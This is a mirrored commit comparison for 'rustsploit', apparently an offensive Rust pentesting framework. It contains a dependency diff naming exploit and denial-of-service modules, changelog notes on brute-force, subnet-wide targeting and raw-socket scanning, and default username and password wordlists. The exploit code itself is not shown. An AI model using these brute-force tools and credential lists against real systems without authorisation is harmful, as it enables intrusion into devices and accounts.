mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
23 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 3403cec7f9 | |||
| 99e31b1c2f | |||
| c9e93614a4 | |||
| 227dc38663 | |||
| b1ca5f1151 | |||
| 6c153eee99 | |||
| c9712dc4a9 | |||
| be1c4158af | |||
| 26913cdbf6 | |||
| f21fab17b8 | |||
| fef7339690 | |||
| 4224c696cc | |||
| 8c96ee3628 | |||
| 4b63dd711e | |||
| 0d81e0e6ed | |||
| bae1a091e4 | |||
| 7ae50993be | |||
| 948d802a3b | |||
| cd6ffb9a9e | |||
| f8e5c0af46 | |||
| 5f75e369cc | |||
| 80a4a5843c | |||
| 1051216ddd |
+106
-116
@@ -1,124 +1,114 @@
|
||||
[package]
|
||||
name = "rustsploit"
|
||||
version = "0.3.5"
|
||||
edition = "2021"
|
||||
edition = "2024"
|
||||
build = "build.rs"
|
||||
|
||||
[dependencies]
|
||||
# For HTTP requests
|
||||
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
|
||||
|
||||
#proxy manager
|
||||
rand = "0.9"
|
||||
|
||||
# For CLI parsing
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
|
||||
# Async runtime for networking
|
||||
tokio = { version = "1.44", features = ["macros", "rt-multi-thread", "process","rt","fs", "io-std"] }
|
||||
|
||||
# Easier error handling
|
||||
anyhow = "1.0"
|
||||
|
||||
#teminal color
|
||||
colored = "3.0"
|
||||
rustyline = "15.0"
|
||||
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0"
|
||||
tokio-socks = "0.5"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "0.26"
|
||||
suppaftp = { version = "6.2", features = ["async", "async-native-tls","native-tls"] }
|
||||
native-tls = "0.2"
|
||||
sysinfo = { version = "0.36", features = ["multithread"] }
|
||||
|
||||
#telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
walkdir = "2.5"
|
||||
|
||||
#ssh
|
||||
ssh2 = "0.9"
|
||||
|
||||
# rstp brute forcing
|
||||
base64 = "0.22"
|
||||
|
||||
# RDP brute forcing module
|
||||
rdp = "0.12"
|
||||
|
||||
# ssdp moudle scanner
|
||||
regex = "1.11"
|
||||
ipnet = "2.11"
|
||||
|
||||
#camera uniview exploit
|
||||
quick-xml = "0.37"
|
||||
|
||||
#ABUS TVIP Dropbear
|
||||
md5 = "0.7"
|
||||
ftp = "3.0"
|
||||
|
||||
#ssh rce race condition
|
||||
libc = "0.2"
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
#spotube exploit
|
||||
serde_json = "1.0"
|
||||
tokio-tungstenite = "0.26"
|
||||
|
||||
#zte rce
|
||||
# Add these to [dependencies]
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
flate2 = "1.0"
|
||||
|
||||
# for Roundcube exploit payload encoding
|
||||
data-encoding = "2.5"
|
||||
|
||||
#avanti
|
||||
url = "2.5"
|
||||
semver = "1.0"
|
||||
|
||||
#stalk route full traceroute
|
||||
pnet_packet = "0.34"
|
||||
socket2 = { version = "0.5", features = ["all"] }
|
||||
|
||||
# HTTP/2 Rapid Reset DoS
|
||||
# Note: h2 0.3 requires http 0.2. Upgrading to h2 0.4 would require http 1.0+ and code changes
|
||||
h2 = "0.3"
|
||||
tokio-rustls = "0.24"
|
||||
http = "0.2"
|
||||
bytes = "1.0"
|
||||
|
||||
#pingsweep
|
||||
which = "8.0"
|
||||
|
||||
# API server
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace"] }
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
|
||||
# DNS tooling
|
||||
trust-dns-client = { version = "0.23", features = ["dnssec"] }
|
||||
trust-dns-proto = "0.23"
|
||||
|
||||
# SNMP bruteforce - using manual encoding for reliability
|
||||
|
||||
# Pin transitive dependencies to edition-2021-compatible releases
|
||||
# (newer versions require unstable edition2024 feature)
|
||||
home = "=0.5.11"
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11" # required for use in build.rs
|
||||
|
||||
[[bin]]
|
||||
name = "rustsploit"
|
||||
path = "src/main.rs"
|
||||
|
||||
[dependencies]
|
||||
# Core / General
|
||||
anyhow = "1.0"
|
||||
colored = "3.0" # newer than 2.0
|
||||
rand = "0.9"
|
||||
rustyline = "15.0"
|
||||
sysinfo = { version = "0.36", features = ["multithread"] }
|
||||
|
||||
# CLI & Async runtime
|
||||
clap = { version = "4.5", features = ["derive"] }
|
||||
tokio = { version = "1.44", features = ["full", "process", "fs", "io-std", "rt-multi-thread", "macros", "rt"] }
|
||||
|
||||
# HTTP & Web
|
||||
reqwest = { version = "0.12", features = ["json", "cookies", "socks"] }
|
||||
h2 = "0.3"
|
||||
http = "0.2"
|
||||
bytes = "1.0"
|
||||
tokio-rustls = "0.24"
|
||||
url = "2.5"
|
||||
quick-xml = "0.37"
|
||||
data-encoding = "2.5"
|
||||
semver = "1.0"
|
||||
|
||||
# Crypto & Encoding
|
||||
aes = "0.8"
|
||||
cipher = "0.4"
|
||||
md5 = "0.7"
|
||||
sha2 = "0.10"
|
||||
hex = "0.4"
|
||||
flate2 = "1.0"
|
||||
base64 = "0.22"
|
||||
|
||||
# Networking & Protocols
|
||||
tokio-socks = "0.5"
|
||||
socket2 = { version = "0.5", features = ["all"] }
|
||||
pnet_packet = "0.34"
|
||||
ipnet = "2.11"
|
||||
ipnetwork = "0.20"
|
||||
regex = "1.11" # newest listed
|
||||
which = "8.0"
|
||||
|
||||
# FTP
|
||||
async_ftp = "6.0"
|
||||
suppaftp = { version = "6.3", features = ["async", "async-native-tls", "native-tls"] }
|
||||
native-tls = "0.2"
|
||||
rustls = "0.23"
|
||||
webpki-roots = "0.26"
|
||||
|
||||
# Telnet
|
||||
threadpool = "1.8"
|
||||
crossbeam-channel = "0.5"
|
||||
telnet = "0.2"
|
||||
async-stream = "0.3.6"
|
||||
|
||||
# SSH
|
||||
ssh2 = "0.9"
|
||||
libc = "0.2"
|
||||
|
||||
# RDP - removed unused dependency (module uses external xfreerdp/rdesktop commands)
|
||||
# rdp = "0.12"
|
||||
|
||||
# Walkdir (used by telnet module)
|
||||
walkdir = "2.5"
|
||||
|
||||
# WebSocket (Spotube exploit)
|
||||
tokio-tungstenite = "0.26"
|
||||
|
||||
# Futures
|
||||
futures = "0.3"
|
||||
futures-util = "0.3"
|
||||
|
||||
# JSON & Serialization
|
||||
serde = { version = "1.0", features = ["derive"] }
|
||||
serde_json = "1.0"
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
|
||||
# API Server (Axum)
|
||||
axum = "0.7"
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["cors", "trace"] }
|
||||
uuid = { version = "1.10", features = ["v4"] }
|
||||
|
||||
# DNS
|
||||
hickory-client = { version = "0.24", features = ["dnssec"] }
|
||||
hickory-proto = "0.24"
|
||||
|
||||
# Misc utilities
|
||||
once_cell = "1.19"
|
||||
home = "0.5" # updated for edition 2024 compatibility
|
||||
|
||||
[build-dependencies]
|
||||
regex = "1.11"
|
||||
|
||||
# Dependency overrides to address security warnings in transitive dependencies
|
||||
# Note: These are warnings (not vulnerabilities) in transitive dependencies
|
||||
# async-std warning: suppaftp uses async-std internally - waiting for upstream fix
|
||||
# The other warnings (atomic-polyfill, atty) are resolved by removing unused rdp dependency
|
||||
|
||||
[profile.release]
|
||||
opt-level = 3
|
||||
lto = "fat"
|
||||
codegen-units = 1
|
||||
panic = "abort"
|
||||
strip = true
|
||||
|
||||
+445
@@ -1960,3 +1960,448 @@ Success Rate: Moderate to high
|
||||
- Legal authorization obtained
|
||||
|
||||
|
||||
|
||||
|
||||
#### minor telnet logic flaw fix
|
||||
|
||||
When you set stop_on_success: true, here's what happens:
|
||||
|
||||
Worker 0 finds valid credentials admin:admin123
|
||||
Worker 0 sets the stop flag: stop_flag.store(true, Ordering::Relaxed)
|
||||
But Workers 1, 2, and 3 are already processing their attempts (admin:test123, admin:root, admin:toor)
|
||||
They complete those attempts even after the stop flag is set
|
||||
The module stops, but it only tested 4 combinations instead of stopping immediately after the first success
|
||||
|
||||
The Root Cause
|
||||
Look at this code in the spawn_worker function:
|
||||
|
||||
|
||||
let pair = {
|
||||
let mut guard = rx.lock().await;
|
||||
guard.recv().await
|
||||
};
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### targeting System
|
||||
|
||||
Implemented global target configuration for all modules in the framework.
|
||||
Features
|
||||
|
||||
Global configuration module (src/config.rs):
|
||||
Stores a global target (IP, hostname, or CIDR subnet)
|
||||
Supports CIDR subnets (e.g., 192.168.1.0/24)
|
||||
Expands subnets to individual IPs when needed
|
||||
Thread-safe using Arc<RwLock>
|
||||
|
||||
CLI support:
|
||||
Added --set-target flag to set the global target from the command line
|
||||
Example: rustsploit --set-target 192.168.1.0/24
|
||||
Interactive shell support:
|
||||
set target <value> sets the global target (also sets local target for backward compatibility)
|
||||
Supports single IPs, hostnames, and CIDR subnets
|
||||
show_target (or target) displays current local and global targets
|
||||
clear_target clears both local and global targets
|
||||
Shell welcome message shows the global target if set
|
||||
Automatic target resolution:
|
||||
Modules use the global target when no specific target is provided
|
||||
Works in both CLI mode and interactive shell
|
||||
For subnets, uses the first IP (modules can be extended to iterate over all IPs)
|
||||
Usage Examples
|
||||
|
||||
# Set global target from CLIrustsploit --set-target 192.168.1.0/24# In interactive shellrsf> set target 192.168.1.0/24rsf> show_targetrsf> use scanners/port_scannerrsf> run # Uses global target automatically
|
||||
The implementation is complete and ready to use. All modules will automatically use the global target when no specific target is provided.
|
||||
|
||||
# Set global target from CLI
|
||||
rustsploit --set-target 192.168.1.0/24
|
||||
|
||||
# In interactive shell
|
||||
rsf> set target 192.168.1.0/24
|
||||
rsf> show_target
|
||||
rsf> use scanners/port_scanner
|
||||
rsf> run # Uses global target automatically
|
||||
|
||||
|
||||
Fixes Applied
|
||||
Removed unused import: removed the unused anyhow import from commands/mod.rs.
|
||||
Fixed large subnet handling:
|
||||
Added get_single_target_ip() to get a single IP from a subnet without expanding.
|
||||
Added get_target_size() to get subnet size without expanding.
|
||||
Limited subnet expansion to 65,536 IPs (max /16) to prevent memory issues.
|
||||
Updated all code to use the new methods.
|
||||
Improved error handling: better error messages when subnets are too large.
|
||||
When you set 0.0.0.0/0 as the target, it now uses 0.0.0.0 (the network address) instead of expanding to billions of IPs. For scanning multiple IPs, use a smaller subnet like 192.168.1.0/24.
|
||||
|
||||
Fixes Applied
|
||||
Fixed NetworkSize type conversion:
|
||||
|
||||
Replaced net.size().into() with manual calculation from the prefix length
|
||||
Calculates subnet size as 2^(32-prefix) for IPv4 and 2^(128-prefix) for IPv6
|
||||
Handles edge cases (prefix >= 32 for IPv4, prefix >= 128 for IPv6)
|
||||
|
||||
Verified creds modules:
|
||||
All 14 creds modules have the correct pub async fn run(target: &str) signature
|
||||
The build script (build.rs) automatically discovers and registers them
|
||||
Modules are wired via the generated creds_dispatch.rs file
|
||||
|
||||
Added a run_all command that uses get_target_ips() to iterate over all IPs in a subnet. This removes the dead code warning.
|
||||
Changes Made
|
||||
Added run_all command (aliases: runall, ra):
|
||||
Checks if a global subnet target is set
|
||||
Uses get_target_ips() to get all IPs from the subnet
|
||||
Runs the selected module against each IP sequentially
|
||||
Supports proxy rotation if enabled
|
||||
Shows progress and a summary at the end
|
||||
Updated help text to include the new command
|
||||
The get_target_ips() method is now used, so the dead code warning should be resolved. The command works with subnets up to 65,536 IPs (as limited by the method).
|
||||
Usage example:
|
||||
|
||||
|
||||
Fixed Compilation Errors
|
||||
Updated deprecated rand API:
|
||||
Changed rand::thread_rng() → rand::rng()
|
||||
Changed rng.gen_range() → rng.random_range()
|
||||
Changed rng.gen() → rng.random()
|
||||
Fixed Send trait issue:
|
||||
Moved all random value generation into a block scope { ... } that completes before any await points
|
||||
This ensures the ThreadRng is dropped before the async code runs, making the future Send
|
||||
Fixed unused variable warning:
|
||||
Changed if let Ok(addr) = socket.connect(...) to if socket.connect(...).is_ok() to avoid the unused addr variable
|
||||
|
||||
|
||||
Changes Made:
|
||||
|
||||
Added new scan methods to PingMethod enum:
|
||||
Syn { ports: Vec<u16> } - SYN (stealth) scan
|
||||
Ack { ports: Vec<u16> } - ACK scan for filter detection
|
||||
|
||||
Updated configuration prompts:
|
||||
Added prompts for SYN and ACK scan options
|
||||
Both methods note that root privileges are required
|
||||
Implemented SYN scan (syn_probe and syn_probe_single):
|
||||
Sends SYN packets using raw sockets
|
||||
Detects SYN-ACK (port open) or RST (host up, port closed)
|
||||
IPv4 only
|
||||
Uses spawn_blocking for async compatibility
|
||||
Implemented ACK scan (ack_probe and ack_probe_single):
|
||||
Sends ACK packets using raw sockets
|
||||
Detects RST responses (host up, port unfiltered)
|
||||
IPv4 only
|
||||
Uses spawn_blocking for async compatibility
|
||||
|
||||
Added required imports:
|
||||
libc for IPPROTO_RAW
|
||||
pnet_packet for packet crafting
|
||||
socket2 for raw sockets
|
||||
tokio::task for spawn_blocking
|
||||
MaybeUninit for safe buffer handling
|
||||
|
||||
Features:
|
||||
SYN scan: Stealth scan that sends SYN packets and analyzes responses
|
||||
ACK scan: Detects filtered vs unfiltered ports
|
||||
User selection: Prompts to choose which scan methods to use
|
||||
Error handling: Clear messages when root privileges are required
|
||||
IPv4 support: Both methods work with IPv4 addresses
|
||||
Async compatible: Uses spawn_blocking for raw socket operations
|
||||
|
||||
Fixed the parsing issue. The problem was that strip_prefix("target") matched "target" even without a following space, so set target set 192.168.41.1/23 was parsed incorrectly.
|
||||
The fix:
|
||||
Changed strip_prefix("target") to strip_prefix("target ") (requires a space after "target")
|
||||
Added a check to ensure the value isn't empty after stripping
|
||||
Now when you type set target 192.168.41.1/23, it will correctly parse just 192.168.41.1/23 as the target value.
|
||||
The code should now work correctly. Try running:
|
||||
|
||||
|
||||
Fixed both issues:
|
||||
CIDR validation: Updated the regex in normalize_target to allow / for CIDR notation (e.g., 192.168.41.1/23).
|
||||
Parsing: Changed the check to use starts_with("target ") instead of strip_prefix, which is more explicit.
|
||||
The code should now:
|
||||
Accept CIDR notation like 192.168.41.1/23
|
||||
Correctly parse set target 192.168.41.1/23 without including extra words
|
||||
Try running:
|
||||
|
||||
|
||||
|
||||
Changes Made:
|
||||
Added fields to PingConfig:
|
||||
save_up_hosts: Option<String> - Path to save up hosts
|
||||
save_down_hosts: Option<String> - Path to save down hosts
|
||||
Added configuration prompts:
|
||||
Asks if you want to save up hosts to a file (default: ping_sweep_up_hosts.txt)
|
||||
Asks if you want to save down hosts to a file (default: ping_sweep_down_hosts.txt)
|
||||
You can specify custom file paths
|
||||
Result collection:
|
||||
Uses Arc<Mutex<Vec<String>>> to collect up and down hosts during execution
|
||||
Up hosts are added when any probe method succeeds
|
||||
Down hosts are added when all probe methods fail
|
||||
File saving:
|
||||
Added save_hosts_to_file() function to write results
|
||||
Saves files at the end of the sweep
|
||||
Shows success messages with counts
|
||||
Handles errors gracefully
|
||||
Usage:
|
||||
When you run the ping sweep scanner, you'll be prompted:
|
||||
"Save up hosts to file?" - If yes, specify the output file
|
||||
"Save down hosts to file?" - If yes, specify the output file
|
||||
|
||||
|
||||
Improvements
|
||||
1. Statistics tracking
|
||||
Real-time progress reporting showing attempts, successes, failures, errors, retries, and rate
|
||||
Final statistics summary with elapsed time and average rate
|
||||
Updates every 2 seconds
|
||||
2. Retry logic
|
||||
Configurable retry on connection errors
|
||||
Max retries setting (1-10)
|
||||
Tracks retry attempts separately
|
||||
3. Timeout configuration
|
||||
Configurable connection timeout (1-60 seconds)
|
||||
Uses tokio::time::timeout for proper async timeout handling
|
||||
4. Concurrency control
|
||||
Uses Semaphore for proper concurrency limiting
|
||||
Prevents task queue overflow
|
||||
Better resource management
|
||||
5. Default credentials
|
||||
Built-in list of 13 common SSH credentials
|
||||
Optional: try defaults first before wordlists
|
||||
Can be combined with wordlists
|
||||
6. Better error handling
|
||||
More detailed error messages
|
||||
Distinguishes between connection errors, handshake failures, and auth failures
|
||||
Tracks error attempts separately
|
||||
7. Enhanced user experience
|
||||
Better input validation with clear error messages
|
||||
Optional wordlists (can use defaults only)
|
||||
Shows total attempts before starting
|
||||
Uses HashSet to prevent duplicate credential reporting
|
||||
Improved output formatting with colors
|
||||
8. Code quality
|
||||
Cleaner structure with constants
|
||||
Better separation of concerns
|
||||
More robust error handling
|
||||
|
||||
Fixing the warning: u16 can't exceed 65535, so the <= 65535 check is redundant. Removing it:
|
||||
|
||||
|
||||
cargo audit
|
||||
Fetching advisory database from `https://github.com/RustSec/advisory-db.git`
|
||||
Loaded 874 security advisories (from /home/kali/.cargo/advisory-db)
|
||||
Updating crates.io index
|
||||
Scanning Cargo.lock for vulnerabilities (421 crate dependencies)
|
||||
Crate: chrono
|
||||
Version: 0.2.25
|
||||
Title: Potential segfault in `localtime_r` invocations
|
||||
Date: 2020-11-10
|
||||
ID: RUSTSEC-2020-0159
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2020-0159
|
||||
Solution: Upgrade to >=0.4.20
|
||||
Dependency tree:
|
||||
chrono 0.2.25
|
||||
└── ftp 3.0.1
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: idna
|
||||
Version: 0.4.0
|
||||
Title: `idna` accepts Punycode labels that do not produce any non-ASCII when decoded
|
||||
Date: 2024-12-09
|
||||
ID: RUSTSEC-2024-0421
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2024-0421
|
||||
Solution: Upgrade to >=1.0.0
|
||||
Dependency tree:
|
||||
idna 0.4.0
|
||||
└── trust-dns-proto 0.23.2
|
||||
├── trust-dns-client 0.23.2
|
||||
│ └── rustsploit 0.3.5
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: regex
|
||||
Version: 0.1.80
|
||||
Title: Regexes with large repetitions on empty sub-expressions take a very long time to parse
|
||||
Date: 2022-03-08
|
||||
ID: RUSTSEC-2022-0013
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2022-0013
|
||||
Severity: 7.5 (high)
|
||||
Solution: Upgrade to >=1.5.5
|
||||
Dependency tree:
|
||||
regex 0.1.80
|
||||
└── ftp 3.0.1
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: thread_local
|
||||
Version: 0.2.7
|
||||
Title: Data race in `Iter` and `IterMut`
|
||||
Date: 2022-01-23
|
||||
ID: RUSTSEC-2022-0006
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2022-0006
|
||||
Solution: Upgrade to >=1.1.4
|
||||
Dependency tree:
|
||||
thread_local 0.2.7
|
||||
└── regex 0.1.80
|
||||
└── ftp 3.0.1
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: time
|
||||
Version: 0.1.45
|
||||
Title: Potential segfault in the time crate
|
||||
Date: 2020-11-18
|
||||
ID: RUSTSEC-2020-0071
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2020-0071
|
||||
Severity: 6.2 (medium)
|
||||
Solution: Upgrade to >=0.2.23
|
||||
Dependency tree:
|
||||
time 0.1.45
|
||||
└── chrono 0.2.25
|
||||
└── ftp 3.0.1
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: async-std
|
||||
Version: 1.13.2
|
||||
Warning: unmaintained
|
||||
Title: async-std has been discontinued
|
||||
Date: 2025-08-24
|
||||
ID: RUSTSEC-2025-0052
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2025-0052
|
||||
Dependency tree:
|
||||
async-std 1.13.2
|
||||
└── suppaftp 6.3.0
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: atomic-polyfill
|
||||
Version: 1.0.3
|
||||
Warning: unmaintained
|
||||
Title: atomic-polyfill is unmaintained
|
||||
Date: 2023-07-11
|
||||
ID: RUSTSEC-2023-0089
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2023-0089
|
||||
Dependency tree:
|
||||
atomic-polyfill 1.0.3
|
||||
└── heapless 0.7.17
|
||||
└── rstar 0.11.0
|
||||
├── geo-types 0.7.17
|
||||
│ ├── rdp 0.12.8
|
||||
│ │ └── rustsploit 0.3.5
|
||||
│ └── geo 0.26.0
|
||||
│ └── rdp 0.12.8
|
||||
└── geo 0.26.0
|
||||
|
||||
Crate: atty
|
||||
Version: 0.2.14
|
||||
Warning: unmaintained
|
||||
Title: `atty` is unmaintained
|
||||
Date: 2024-09-25
|
||||
ID: RUSTSEC-2024-0375
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2024-0375
|
||||
Dependency tree:
|
||||
atty 0.2.14
|
||||
└── clap 3.2.25
|
||||
└── cbindgen 0.26.0
|
||||
└── rdp 0.12.8
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: ftp
|
||||
Version: 3.0.1
|
||||
Warning: unmaintained
|
||||
Title: ftp is unmaintained, use suppaftp instead
|
||||
Date: 2023-02-20
|
||||
ID: RUSTSEC-2023-0043
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2023-0043
|
||||
Dependency tree:
|
||||
ftp 3.0.1
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: trust-dns-proto
|
||||
Version: 0.23.2
|
||||
Warning: unmaintained
|
||||
Title: The `trust-dns` project has been rebranded to `hickory-dns`
|
||||
Date: 2025-03-23
|
||||
ID: RUSTSEC-2025-0017
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2025-0017
|
||||
Dependency tree:
|
||||
trust-dns-proto 0.23.2
|
||||
├── trust-dns-client 0.23.2
|
||||
│ └── rustsploit 0.3.5
|
||||
└── rustsploit 0.3.5
|
||||
|
||||
Crate: atty
|
||||
Version: 0.2.14
|
||||
Warning: unsound
|
||||
Title: Potential unaligned read
|
||||
Date: 2021-07-04
|
||||
ID: RUSTSEC-2021-0145
|
||||
URL: https://rustsec.org/advisories/RUSTSEC-2021-0145
|
||||
|
||||
error: 5 vulnerabilities found!
|
||||
warning: 6 allowed warnings found
|
||||
|
||||
Security Fixes Applied:
|
||||
|
||||
Removed unmaintained ftp crate (v3.0)
|
||||
Removed from Cargo.toml
|
||||
Added blocking feature to suppaftp for blocking FTP operations
|
||||
Updated pachev_ftp_path_traversal_1_0.rs to use suppaftp::FtpStream instead of ftp::FtpStream
|
||||
This fixes vulnerabilities in: chrono 0.2.25, regex 0.1.80, thread_local 0.2.7, and time 0.1.45
|
||||
Replaced trust-dns-* with hickory-dns-*
|
||||
Updated Cargo.toml to use hickory-client and hickory-proto (rebranded, maintained versions)
|
||||
Updated dns_recursion.rs imports from trust_dns_* to hickory_*
|
||||
This fixes the idna 0.4.0 vulnerability and the unmaintained trust-dns-proto warning
|
||||
All 5 vulnerabilities should now be resolved. The remaining warnings (async-std, atomic-polyfill, atty) are transitive dependencies from other crates (rdp, suppaftp) and are warnings, not vulnerabilities.
|
||||
im gunna Run cargo audit again to verify the fixes
|
||||
|
||||
|
||||
The suppaftp crate doesn't have a blocking feature. Checking available features and how to use blocking FTP:
|
||||
Removing the blocking feature; suppaftp's blocking API should be available by default:
|
||||
|
||||
Removed the non-existent blocking feature. suppaftp::FtpStream (without the Async prefix) is the blocking API and is available by default. The code should compile now. Verifying:
|
||||
Removed the non-existent blocking feature. In suppaftp:
|
||||
FtpStream (blocking) is available by default — used in the exploit
|
||||
AsyncFtpStream requires the async feature — used in other modules
|
||||
The configuration should now compile. The blocking FtpStream API is available without any feature flag, so the exploit should work correctly.
|
||||
Try running cargo run --release again; it should compile successfully.
|
||||
|
||||
|
||||
Fixed two issues:
|
||||
Removed unused import: std::net::ToSocketAddrs is no longer needed since we're using suppaftp::FtpStream::connect() which accepts a string directly.
|
||||
Fixed method name: Changed simple_retr() to retr(). In suppaftp, retr() returns a reader directly (no .into_inner() needed).
|
||||
The code should now compile. The retr() method in suppaftp returns a reader that can be used directly with copy().
|
||||
|
||||
Fixed the issue: suppaftp::FtpStream::retr() takes two arguments:
|
||||
The file path (string)
|
||||
A mutable writer to write the data to
|
||||
Updated the code to:
|
||||
Create the output file first
|
||||
Pass a mutable reference to the file as the second argument to retr()
|
||||
Remove the unnecessary copy() call since retr() writes directly to the file
|
||||
|
||||
Fixed the issue. The retr() method in suppaftp expects a closure that:
|
||||
Takes a &mut dyn Read (the FTP data stream)
|
||||
Processes it (in this case, copy it to a file)
|
||||
Returns a Result with FtpError
|
||||
The code now:
|
||||
Creates the output file
|
||||
Uses a closure that receives the reader from FTP
|
||||
Uses io::copy() to copy data from the reader to the file
|
||||
Converts I/O errors to FtpError as required
|
||||
|
||||
Fixed both issues:
|
||||
Removed unused import: Removed Read from the imports since it's not directly used.
|
||||
Fixed error type: FtpError::ConnectionError expects an Error type, not a String. Changed it to use std::io::Error::new() to create a proper error from the I/O error.
|
||||
|
||||
|
||||
let Some((user, pass)) = pair else { break };
|
||||
|
||||
if stop_flag.load(Ordering::Relaxed) { // ❌ Check happens AFTER receiving work
|
||||
break;
|
||||
}
|
||||
|
||||
Removed the unused rdp dependency, which should eliminate the atomic-polyfill and atty warnings. The RDP bruteforce module uses external commands (xfreerdp/rdesktop), not the rdp crate.
|
||||
For the async-std warning from suppaftp, it's a transitive dependency and only a warning (not a vulnerability). We can wait for suppaftp to update or consider alternatives later.
|
||||
Summary of fixes:
|
||||
Removed unused rdp dependency — eliminates atomic-polyfill and atty warnings
|
||||
Updated suppaftp to version 6.3 — may help with async-std if a newer version addresses it
|
||||
Added comments explaining the remaining async-std warning
|
||||
The remaining async-std warning is from suppaftp's transitive dependencies and is a maintenance warning, not a security vulnerability. It should be addressed upstream by the suppaftp maintainers.
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
password
|
||||
123456
|
||||
1234
|
||||
root
|
||||
toor
|
||||
guest
|
||||
default
|
||||
admin123
|
||||
adminadmin
|
||||
pass
|
||||
changeme
|
||||
password1
|
||||
cisco
|
||||
ubnt
|
||||
support
|
||||
12345
|
||||
qwerty
|
||||
letmein
|
||||
test
|
||||
@@ -0,0 +1,20 @@
|
||||
admin
|
||||
root
|
||||
user
|
||||
administrator
|
||||
guest
|
||||
support
|
||||
operator
|
||||
supervisor
|
||||
admin1
|
||||
root1
|
||||
manager
|
||||
service
|
||||
master
|
||||
tech
|
||||
sysadmin
|
||||
default
|
||||
cisco
|
||||
ubnt
|
||||
pi
|
||||
test
|
||||
BIN
Binary file not shown.
|
Before Width: | Height: | Size: 116 KiB After Width: | Height: | Size: 435 KiB |
@@ -39,4 +39,8 @@ pub struct Cli {
|
||||
/// IP limit for hardening mode (default: 10 unique IPs)
|
||||
#[arg(long, requires = "harden", default_value = "10")]
|
||||
pub ip_limit: Option<u32>,
|
||||
|
||||
/// Set global target IP/subnet for all modules
|
||||
#[arg(long)]
|
||||
pub set_target: Option<String>,
|
||||
}
|
||||
|
||||
+40
-2
@@ -4,12 +4,30 @@ pub mod creds;
|
||||
|
||||
use anyhow::Result;
|
||||
use crate::cli::Cli;
|
||||
use crate::config;
|
||||
use walkdir::WalkDir;
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
let raw = cli_args.target.clone().unwrap_or_default();
|
||||
// Use CLI target if provided, otherwise try global target
|
||||
let raw = if let Some(ref t) = cli_args.target {
|
||||
t.clone()
|
||||
} else if config::GLOBAL_CONFIG.has_target() {
|
||||
// Use single IP from global target (handles subnets intelligently)
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
|
||||
ip
|
||||
}
|
||||
Err(e) => {
|
||||
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified. Use --target <ip> or --set-target <ip/subnet>"));
|
||||
};
|
||||
|
||||
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
|
||||
@@ -35,6 +53,7 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
}
|
||||
|
||||
/// Interactive shell: handles `run` with raw target string
|
||||
/// If raw_target is empty, uses global target if available
|
||||
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
let available = discover_modules();
|
||||
|
||||
@@ -57,7 +76,26 @@ pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
return Ok(());
|
||||
};
|
||||
|
||||
let target = normalize_target(raw_target)?;
|
||||
// Use provided target, or fall back to global target
|
||||
let target_str = if raw_target.is_empty() {
|
||||
if config::GLOBAL_CONFIG.has_target() {
|
||||
match config::GLOBAL_CONFIG.get_single_target_ip() {
|
||||
Ok(ip) => {
|
||||
println!("[*] Using global target: {}", config::GLOBAL_CONFIG.get_target().unwrap_or_default());
|
||||
ip
|
||||
}
|
||||
Err(e) => {
|
||||
return Err(anyhow::anyhow!("No target specified and global target error: {}", e));
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return Err(anyhow::anyhow!("No target specified. Use 'set target <ip/subnet>' or provide target when running module"));
|
||||
}
|
||||
} else {
|
||||
raw_target.to_string()
|
||||
};
|
||||
|
||||
